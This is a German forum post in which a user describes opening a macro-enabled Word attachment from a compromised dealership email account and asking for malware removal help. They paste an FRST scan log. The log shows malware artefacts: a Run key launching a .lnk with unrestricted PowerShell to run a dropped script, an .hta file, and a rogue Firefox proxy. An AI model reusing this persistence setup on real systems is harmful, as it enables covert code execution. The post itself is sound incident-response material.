| |
| |||||||
Plagegeister aller Art und deren Bekämpfung: Win10 x 64: Malware durch Emailanhang auf den Laptop gezogenWindows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
 |
13.04.2021, 16:42
| #1 |
| |  Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Hallo zusammen, folgendes: Ich habe vorhin eine Email von einem (normalerweise) vertrauenwürdigen Absender erhalten, nämlich meinem Serviceberater des Autohauses. Da ich aufgrund einer aktuellen Thematik in Korrespondenz mit selbigem stehe, war ich grundsätzlich unbedarft im Umgang mit Anhängen des Absenders. Nun war heute im Anhang einer Email ein word Dokument, das als .zip Datei mit Passwort (stand i.d. Absendermail) versehen war. Ich habe mir nichts Weiteres dabei gedacht und das Dokument geöffnet und im Nachgang vermutlich den entscheidenden Fehler gemacht: Makros aktiviert. (Habe durch einen Anruf im Autohaus erfahren, dass es einen security breach gab und Emailkonten gehackt wurden). Üblicherweise nutze ich libreoffice, ich habe zwar MS Office installiert, allerdings ist die Lizenz ausgelaufen (war bei Neuerwerb des Laptops einige Zeit dabei). Ergo weiß ich nicht, inwieweit die Makros vollständig ausgeführt wurden, das Dokument wurde mit word geöffnet. Ich nutze den Emsisoft Anti Malware Home (wurde mir hier auf dem Board von geraumer Zeit empfohlen). Verlauf seither: I. Es kam eine Benachrichtigung auf dem Desktop, die ich leider wegklickte, Inhalt war ca: register.dll hat unter C:/users/public/deleteMainMain.jpg installiert II. Ich habe die Datei (aktiv) i.d. Quarantäne verschoben (siehe Anhang). III. Habe den Scanner von Emsisoft laufen lassen - kein Fund. IV. Rechner nach Feierabend neu gestartet, daraufhin war der zweite Eintrag i.d. Quarantäne und im Protokoll der Anti malware (siehe Anhang "Protokoll". Der Eintrag um 17:12 ist von mir, habe eine Software für screenshots installiert). V. Thema eröffnet. Logs: FRST: Code:
ATTFilter Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 11-04-2021
durchgeführt von Jules (Administrator) auf JULES-ACERF17 (Acer Aspire F5-771G) (13-04-2021 16:23:26)
Gestartet von D:\Downloads
Geladene Profile: Jules
Platform: Windows 10 Home Version 2004 19041.867 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: FF
Start-Modus: Normal
==================== Prozesse (Nicht auf der Ausnahmeliste) =================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
(Acer Incorporated -> ) C:\OEM\Preload\FubTool\FubTool.exe
(Acer Incorporated -> ) C:\Program Files (x86)\Acer\Care Center\ACCStd.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files (x86)\Acer\AOP Framework\BackgroundAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\ePowerButton_NB.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QAAdminAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QAAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QALockHandler.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QALSvc.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QASvc.exe
(Acer Incorporated -> acer) C:\Program Files\Acer\User Experience Improvement Program\Framework\UBTService.exe
(Adobe Inc. -> Adobe Inc.) C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
(Dropbox, Inc -> Dropbox, Inc.) C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
(Dropbox, Inc -> Dropbox, Inc.) C:\Windows\System32\DbxSvc.exe
(Electronic Arts, Inc. -> Electronic Arts) D:\Games\Origin\OriginWebHelperService.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2guard.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2service.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2start.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\eppwsc.exe.old
(Epic Games Inc. -> Epic Games, Inc.) D:\Games\Epic Games\Launcher\Engine\Binaries\Win64\EpicWebHelper.exe <2>
(Epic Games Inc. -> Epic Games, Inc.) D:\Games\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe
(IndiLogic LLC -> Dell Inc.) C:\Program Files\Dell\Dell Peripheral Manager\DPM.exe
(IndiLogic LLC -> Dell Inc.) C:\Program Files\Dell\Dell Peripheral Manager\DPMService.exe
(Intel Corporation - Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Intel Corporation - Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\Intel\Intel(R) Security Assist\isa.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxCUIService.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxEM.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxext.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\IntelCpHDCPSvc.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\IntelCpHeciSvc.exe
(Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
(Intel(R) Smart Sound Technology -> Intel Corporation) C:\Windows\System32\IntelSSTAPO\ParameterService\ParameterService.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\FileCoAuth.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_2.2010.22653.0_x64__8wekyb3d8bbwe\Cortana.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.13228.41011.0_x64__8wekyb3d8bbwe\commsapps.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.13228.41011.0_x64__8wekyb3d8bbwe\HxTsr.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.WindowsStore_12011.1001.1.0_x64__8wekyb3d8bbwe\WinStore.App.exe
(Microsoft Windows -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe <3>
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\MoUsoCoreWorker.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\oobe\UserOOBEBroker.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\WWAHost.exe
(Mozilla Corporation -> Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe <9>
(Mozilla Corporation -> Mozilla Corporation) D:\Programme\thunderbird.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe <2>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe <2>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
(pdfforge GmbH -> pdfforge GmbH) C:\Program Files\PDF Architect 7\updater-ws.exe
(pdfforge GmbH -> pdfforge GmbH) C:\Program Files\PDF Architect 7\ws.exe
(Qualcomm Atheros -> Windows (R) Win 7 DDK provider) C:\Windows\System32\AdminService.exe
(Realtek Semiconductor Corp -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Realtek Semiconductor Corp -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Valve -> Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
(Valve -> Valve Corporation) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe <7>
(Valve -> Valve Corporation) D:\Games\Steam\steam.exe
==================== Registry (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16475392 2016-06-03] (Realtek Semiconductor Corp -> Realtek Semiconductor)
HKLM\...\Run: [RtHDVBg_TrueHarmony] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1454336 2016-06-03] (Realtek Semiconductor Corp -> Realtek Semiconductor)
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320584 2016-06-01] (Intel(R) Rapid Storage Technology -> Intel Corporation)
HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2398776 2016-06-15] (NVIDIA Corporation -> NVIDIA Corporation)
HKLM\...\Run: [ShadowPlay] => C:\WINDOWS\system32\nvspcap64.dll [1767760 2016-06-15] (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert]
HKLM\...\Run: [emsisoft anti-malware] => C:\Program Files\Emsisoft Anti-Malware\a2guard.exe [9247488 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
HKLM-x32\...\Run: [Dropbox] => C:\Program Files (x86)\Dropbox\Client\Dropbox.exe [7991528 2021-03-30] (Dropbox, Inc -> Dropbox, Inc.)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [OneDrive] => C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe [1941368 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [Steam] => D:\Games\Steam\steam.exe [4087528 2021-04-12] (Valve -> Valve Corporation)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [EpicGamesLauncher] => D:\Games\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe [33000928 2021-04-07] (Epic Games Inc. -> Epic Games, Inc.)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [bicmmc] => cmd /c start C:\Users\Jules\bicmmc.lnk -ep unrestricted -file C:\Users\Jules\D3d1kmgr.ps1
HKLM\...\Print\Monitors\PDF Architect 7 Monitor: C:\WINDOWS\system32\spool\DRIVERS\x64\pdf architect_pdfpmon_v.4.12.26.3.dll [932984 2019-11-05] (PDF Tools AG -> PDF Tools AG (hxxp://www.pdf-tools.com))
==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) ============
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
Task: {0EC15704-9DA5-4819-8078-A90B7EE9F84C} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonx86\Microsoft Shared\Office16\OLicenseHeartbeat.exe [1120136 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {3F8AEE16-2BA4-4B2F-87DB-FB1A4608C172} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [855352 2016-02-19] (Intel(R) Trusted Connect Service -> Intel(R) Corporation)
Task: {42A29DB3-7C4B-4CA1-8AF0-BA4A9CB4EF69} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1557200 2021-01-25] (Adobe Inc. -> Adobe Inc.)
Task: {4E6C8427-B72C-4B08-8BA1-B3A286DEB17F} - System32\Tasks\BacKGroundAgent => C:\Program Files (x86)\Acer\AOP Framework\BackgroundAgent.exe [65752 2017-03-20] (Acer Incorporated -> Acer Incorporated)
Task: {5068E9F9-14E3-43C6-8700-9D46075E695D} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [23248760 2021-04-01] (Microsoft Corporation -> Microsoft Corporation)
Task: {62B88DDB-114A-4AA3-B091-F34AEA7CDDCF} - System32\Tasks\Software Update Application => C:\ProgramData\OEM\UpgradeTool\ListCheck.exe [472992 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {67177320-28FA-44FB-94F6-A72E1D9B7F06} - System32\Tasks\DashlaneUpgradeCheck => net [Argument = start "Dashlane Upgrade Service"]
Task: {6A4854BF-8C01-4ABA-A121-A668EE19EB18} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [23248760 2021-04-01] (Microsoft Corporation -> Microsoft Corporation)
Task: {7B93C34D-0FCB-4E63-B718-9A48AAAA38D1} - System32\Tasks\ACCBackgroundApplication => C:\Program Files (x86)\Acer\Care Center\ACCStd.exe [4644256 2016-06-24] (Acer Incorporated -> )
Task: {7C827211-20DC-4E4F-9E5F-2EE67FCC9554} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [114008 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {7F14A62D-A829-479D-AF0F-389B790CDC1B} - System32\Tasks\DropboxUpdateTaskMachineUA => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
Task: {8408EC83-FF93-4CB5-94F6-4B822BA3CA40} - System32\Tasks\FubToolByPLD => C:\OEM\Preload\FubTool\FubTool.exe [30976 2015-05-14] (Acer Incorporated -> )
Task: {AAEF01A6-0864-4290-9E80-939D613ADF65} - System32\Tasks\DropboxUpdateTaskMachineCore => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
Task: {AEF0A045-0991-4CF8-861D-AAAFDD98E640} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [114008 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {B06830CB-A336-4393-AB9A-B982E7372DA2} - System32\Tasks\ACC => C:\Program Files (x86)\Acer\Care Center\LiveUpdateChecker.exe [2919840 2016-06-24] (Acer Incorporated -> )
Task: {B4719A51-4DA3-4F0F-9780-293A00226B0C} - System32\Tasks\OneDrive Per-Machine Standalone Update Task => C:\Program Files (x86)\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [2884984 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
Task: {C6FBEEC9-A6FB-4B2B-B475-8EA575F2C1EA} - System32\Tasks\Quick Access => C:\Program Files\Acer\Acer Quick Access\QALauncher.exe [421792 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {D23D6977-588A-4ACB-A50D-49D5C9A0F791} - System32\Tasks\Mozilla\Firefox Default Browser Agent E7CF176E110C211B => C:\Program Files (x86)\Mozilla Firefox\default-browser-agent.exe [696816 2021-03-27] (Mozilla Corporation -> Mozilla Foundation)
Task: {DB8CC784-34CB-4CD4-B5C0-8A4360CE1032} - System32\Tasks\AcerCMUpdateTask2.1.16258 => C:\Program Files (x86)\Acer\Amundsen\2.1.16258\AWC.exe [152880 2016-09-20] (Acer Incorporated -> )
Task: {DFC68190-0D72-4516-BAC5-317C587EF9EE} - \Microsoft\Windows\UNP\RunCampaignManager -> Keine Datei <==== ACHTUNG
Task: {E5EC4D02-FD4B-4AE8-B3E0-E9C83E5814ED} - System32\Tasks\Power Button => C:\Program Files\Acer\Acer Quick Access\ePowerButton_NB.exe [2766240 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {E7CE31AC-E513-4239-B705-C2D14616AB5C} - System32\Tasks\UbtFrameworkService => C:\Program Files\Acer\User Experience Improvement Program\Framework\TriggerFramework.exe [216296 2014-03-13] (Acer Incorporated -> TODO: <Company name>)
Task: {F80C051A-FE37-4F35-99FC-B6836CD94C02} - System32\Tasks\ACCAgent => C:\Program Files (x86)\Acer\Care Center\LiveUpdateAgent.exe [40352 2016-06-24] (Acer Incorporated -> )
Task: {FA8B32FD-D09C-4E5B-86E2-28A0B8CD9D13} - System32\Tasks\Oem\AcerJumpstartTask => C:\Program Files (x86)\Acer\Acer Jumpstart\hermes.exe [64320 2019-07-11] (Acer Incorporated -> Acer)
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
Task: C:\WINDOWS\Tasks\DropboxUpdateTaskMachineCore.job => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
Task: C:\WINDOWS\Tasks\DropboxUpdateTaskMachineUA.job => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
==================== Internet (Nicht auf der Ausnahmeliste) ====================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
Tcpip\Parameters: [DhcpNameServer] 192.168.2.1
Tcpip\..\Interfaces\{13ba1f29-b11b-4c89-bd59-8ebd7019079f}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{fa5cfcdb-be60-4cbd-aa46-40cdf5603901}: [DhcpNameServer] 192.168.2.1
Edge:
=======
Edge DefaultProfile: Default
Edge Profile: C:\Users\Jules\AppData\Local\Microsoft\Edge\User Data\Default [2021-04-13]
FireFox:
========
FF DefaultProfile: 2nuh14xm.default
FF ProfilePath: C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default [2021-04-13]
FF DownloadDir: D:\Downloads
FF Homepage: Mozilla\Firefox\Profiles\2nuh14xm.default -> hxxps://duckduckgo.com/
FF NetworkProxy: Mozilla\Firefox\Profiles\2nuh14xm.default -> backup.ftp", "83.78.129.154 "
FF Extension: (Dark Reader) - C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default\Extensions\addon@darkreader.org.xpi [2021-04-06]
FF Extension: (Adblock Plus - kostenloser Adblocker) - C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2021-01-28]
FF HKLM\...\Firefox\Extensions: [pdf_architect_7_conv_v.2@pdfforge.org] - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi
FF Extension: (PDF Architect 7 Creator) - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi [2019-10-02]
FF HKLM-x32\...\Firefox\Extensions: [pdf_architect_7_conv_v.2@pdfforge.org] - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50918.0\npctrl.dll [2018-10-23] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\npctrl.dll [2018-10-23] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files (x86)\Microsoft Office\root\Office16\NPSPWRAP.DLL [2021-03-04] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2021-03-06] (Adobe Inc. -> Adobe Systems Inc.)
==================== Dienste (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
R2 a2AntiMalware; C:\Program Files\Emsisoft Anti-Malware\a2service.exe [9855880 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
R2 AdobeARMservice; C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe [169672 2021-01-25] (Adobe Inc. -> Adobe Inc.)
R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [8788368 2021-03-29] (Microsoft Corporation -> Microsoft Corporation)
S2 Dashlane Upgrade Service; C:\Program Files (x86)\Dashlane\Upgrade\DashlaneUpgradeService.exe [83992 2017-08-23] (Dashlane -> Dashlane, Inc.)
S2 dbupdate; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
S3 dbupdatem; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
R2 DbxSvc; C:\WINDOWS\system32\DbxSvc.exe [44272 2021-03-30] (Dropbox, Inc -> Dropbox, Inc.)
R2 DPMService; C:\Program Files\Dell\Dell Peripheral Manager\DPMService.exe [1585760 2020-11-25] (IndiLogic LLC -> Dell Inc.)
S3 EasyAntiCheat; C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.exe [803952 2020-11-29] (EasyAntiCheat Oy -> EasyAntiCheat Ltd)
R2 EppWsc; C:\Program Files\Emsisoft Anti-Malware\EppWsc.exe [1545368 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
S3 FileSyncHelper; C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\FileSyncHelper.exe [2218872 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
R3 Intel(R) Security Assist; C:\Program Files (x86)\Intel\Intel(R) Security Assist\isa.exe [335872 2016-03-02] (Intel Corporation) [Datei ist nicht signiert]
S2 isaHelperSvc; C:\Program Files (x86)\Intel\Intel(R) Security Assist\isaHelperService.exe [8704 2016-03-02] (Intel Corporation) [Datei ist nicht signiert]
S3 OneDrive Updater Service; C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\OneDriveUpdaterService.exe [2603368 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
S3 Origin Client Service; D:\Games\Origin\OriginClientService.exe [2536536 2021-04-07] (Electronic Arts, Inc. -> Electronic Arts)
R2 Origin Web Helper Service; D:\Games\Origin\OriginWebHelperService.exe [3481176 2021-04-07] (Electronic Arts, Inc. -> Electronic Arts)
R3 PDF Architect 7; C:\Program Files\PDF Architect 7\ws.exe [2579752 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
S3 PDF Architect 7 Creator; C:\Program Files\PDF Architect 7\creator\common\creator-ws.exe [692008 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
R2 PDF Architect 7 Update Service; C:\Program Files\PDF Architect 7\updater-ws.exe [1832232 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
R3 QALSvc; C:\Program Files\Acer\Acer Quick Access\QALSvc.exe [440224 2016-07-29] (Acer Incorporated -> Acer Incorporated)
R3 QASvc; C:\Program Files\Acer\Acer Quick Access\QASvc.exe [481696 2016-07-29] (Acer Incorporated -> Acer Incorporated)
S3 Rockstar Service; D:\Games\RockstarLauncher\RockstarService.exe [1631360 2020-12-02] (Rockstar Games, Inc. -> Rockstar Games)
S3 ss_conn_launcher_service; C:\WINDOWS\System32\Samsung\EasySetup\ss_conn_launcher.exe [182128 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
R3 UEIPSvc; C:\Program Files\Acer\User Experience Improvement Program\Framework\UBTService.exe [295840 2016-05-28] (Acer Incorporated -> acer)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [3004048 2019-12-07] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [103384 2019-12-07] (Microsoft Windows Publisher -> Microsoft Corporation)
===================== Treiber (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
S3 AppleKmdfFilter; C:\WINDOWS\System32\drivers\AppleKmdfFilter.sys [20640 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.)
S3 AppleLowerFilter; C:\WINDOWS\System32\drivers\AppleLowerFilter.sys [35560 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.)
S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [279040 2019-12-07] (Microsoft Corporation) [Datei ist nicht signiert]
S3 dg_ssudbus; C:\WINDOWS\system32\DRIVERS\ssudbus2.sys [159600 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
R3 DPMDriver; C:\WINDOWS\System32\drivers\DPMDriver.sys [133864 2020-10-01] (IndiLogic LLC -> Dell Inc.)
R1 epp; C:\PROGRAM FILES\EMSISOFT ANTI-MALWARE\epp.sys [155112 2020-02-17] (Microsoft Windows Hardware Compatibility Publisher -> Emsisoft Ltd)
R0 eppdisk; C:\WINDOWS\System32\drivers\eppdisk.sys [37776 2019-06-03] (Emsisoft Ltd -> Emsisoft Ltd)
S0 EppElam; C:\WINDOWS\System32\drivers\EppElam.sys [16808 2020-06-02] (Microsoft Windows Early Launch Anti-Malware Publisher -> Emsisoft Ltd)
R1 eppwfp; C:\Program Files\Emsisoft Anti-Malware\eppwfp.sys [126968 2020-11-02] (Microsoft Windows Hardware Compatibility Publisher -> Emsisoft Ltd)
R3 LMDriver; C:\WINDOWS\System32\drivers\LMDriver.sys [31000 2018-05-15] (Acer Incorporated -> Acer Incorporated)
R3 RadioShim; C:\WINDOWS\System32\drivers\RadioShim.sys [25368 2018-05-15] (Acer Incorporated -> Acer Incorporated)
S3 ssudmdm; C:\WINDOWS\system32\DRIVERS\ssudmdm.sys [167280 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 ss_conn_usb_driver2; C:\WINDOWS\System32\Drivers\ss_conn_usb_driver2.sys [43376 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 WdBoot; C:\WINDOWS\system32\drivers\WdBoot.sys [46688 2019-12-07] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation)
S3 WdFilter; C:\WINDOWS\system32\drivers\WdFilter.sys [350136 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
S3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [54200 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2021-04-13 16:23 - 2021-04-13 16:23 - 000000000 ____D C:\FRST
2021-04-13 14:37 - 2021-04-13 14:37 - 000000838 _____ C:\Users\Jules\bicmmc.lnk
2021-04-13 14:34 - 2021-04-13 14:34 - 000003005 _____ C:\ProgramData\deleteMainMain.hta
2021-04-07 12:48 - 2021-04-10 10:26 - 000003206 _____ C:\WINDOWS\system32\Tasks\OneDrive Per-Machine Standalone Update Task
2021-04-07 12:48 - 2021-04-10 10:26 - 000002194 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
